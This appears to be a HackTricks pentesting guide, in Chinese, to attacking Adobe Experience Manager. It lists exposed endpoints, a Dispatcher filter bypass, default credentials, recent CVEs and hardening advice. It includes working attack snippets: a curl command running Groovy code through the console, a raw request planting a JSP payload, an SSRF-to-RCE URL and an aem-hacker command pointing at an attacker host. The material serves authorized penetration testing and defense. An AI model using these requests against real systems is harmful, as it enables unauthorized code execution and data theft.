AEM (Adobe Experience Manager) Pentesting
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) 是一个企业级内容管理系统,运行在 Apache Sling/Felix (OSGi) 和 Java 内容库 (JCR) 之上。 从攻击者的角度来看,AEM 实例经常暴露危险的开发端点、弱 Dispatcher 规则、默认凭据以及每季度修补的众多 CVE。
下面的检查清单专注于 外部可访问的 (unauth) 攻击面,在真实的渗透测试中不断出现 (2022-2025)。
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
其他快速指标:
/etc.clientlibs/
静态路径存在(返回 JS/CSS)。/libs/granite/core/content/login.html
登录页面带有“Adobe Experience Manager”横幅。</script><!--/* CQ */-->
HTML 底部的注释。
2. 高价值未认证端点
路径 | 获取内容 | 备注 |
---|---|---|
/.json , /.1.json | 通过 DefaultGetServlet 获取 JCR 节点 | 通常被阻止,但 Dispatcher 绕过(见下文)有效。 |
/bin/querybuilder.json?path=/ | QueryBuilder API | 页面树、内部路径、用户名泄露。 |
/system/console/status-* , /system/console/bundles | OSGi/Felix 控制台 | 默认 403;如果暴露且找到凭据 ⇒ bundle-upload RCE。 |
/crx/packmgr/index.jsp | 包管理器 | 允许认证内容包 → JSP 负载上传。 |
/etc/groovyconsole/** | AEM Groovy 控制台 | 如果暴露 → 任意 Groovy / Java 执行。 |
/libs/cq/AuditlogSearchServlet.json | 审计日志 | 信息泄露。 |
/libs/cq/ui/content/dumplibs.html | ClientLibs 转储 | XSS 向量。 |
Dispatcher 绕过技巧
大多数生产网站位于 Dispatcher(反向代理)后面。其过滤规则可以通过在分号或编码换行符后附加允许的静态扩展来绕过:
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
单个请求如上常常会泄露用户个人资料节点及电子邮件地址。P-T Partners 发布了关于此弱点的良好指导。 【】
3. 常见的错误配置(在2025年仍然存在)
- 匿名POST servlet –
POST /.json
与:operation=import
允许您植入新的JCR节点。 在Dispatcher中阻止*.json
POST可以解决此问题。 【】 - 全世界可读的用户资料 – 默认ACL在
/home/users/**/profile/*
上授予每个人jcr:read
权限。 - 默认凭据 –
admin:admin
,author:author
,replication:replication
。 - WCMDebugFilter 启用 ⇒ 通过
?debug=layout
反射XSS(CVE-2016-7882,仍在遗留的6.4安装中发现)。 - Groovy控制台暴露 – 通过发送Groovy脚本进行远程代码执行:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
4. 最近的漏洞(服务包节奏)
季度 | CVE | 受影响版本 | 影响 |
---|---|---|---|
2024年12月 | CVE-2024-43711 | 6.5.21及更早版本 | 不当输入验证 → 任意代码执行(需要低权限认证)。 【】 |
2024年12月 | CVE-2024-43724/26 | 6.5.21及更早版本 | Move Page Wizard中的DOM / 存储XSS。 【】 |
2023年12月 | CVE-2023-48452/68 | ≤ 6.5.18 | 通过精心制作的URL进行基于DOM的XSS。 【】 |
2022年12月 | CVE-2022-30683 | ≤ 6.5.13 | 加密设计缺陷 → 秘密解密(需要低权限凭据)。 【】 |
始终检查与客户的服务包匹配的APSB公告,并请求最新的 6.5.22 或 Cloud Service 2024.11。
5. 利用片段
5.1 通过dispatcher绕过 + JSP上传的RCE
如果允许匿名写入:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
现在请求 /content/evil.jsp
– JSP 以 AEM 进程用户身份运行。
5.2 SSRF 到 RCE(历史 < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
来自 aem-hacker 的 aem_ssrf2rce.py
自动化整个链条。 【】
6. 工具
- aem-hacker – 瑞士军刀式枚举脚本,支持调度器绕过、SSRF 检测、默认凭据检查等。
python3 aem_hacker.py -u https://target --host attacker-ip
- 内容暴力破解 – 递归请求
/_jcr_content.(json|html)
以发现隐藏组件。 - osgi-infect – 如果凭据可用,通过
/system/console/bundles
上传恶意 OSGi 包。
7. 加固检查清单(用于报告的建议)
- 保持实例在 最新的累积服务包 上(截至 2025 年 7 月:6.5.22)。
- 移除/轮换默认账户;强制实施 SSO/SAML。
- 收紧 调度器过滤器 – 拒绝
;
、编码换行符,以及匿名用户的*.json
或*.querybuilder.json
。 - 禁用或保护控制台(
/system/console
、/crx/*
、/etc/groovyconsole
),使用 IP 允许列表。 - 应用 Adobe 提供的 匿名权限加固 包。
参考
- Adobe 安全公告 APSB24-69 – “Adobe Experience Manager 的安全更新(2024 年 12 月)”。
- 0ang3el – aem-hacker 工具(GitHub)。
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。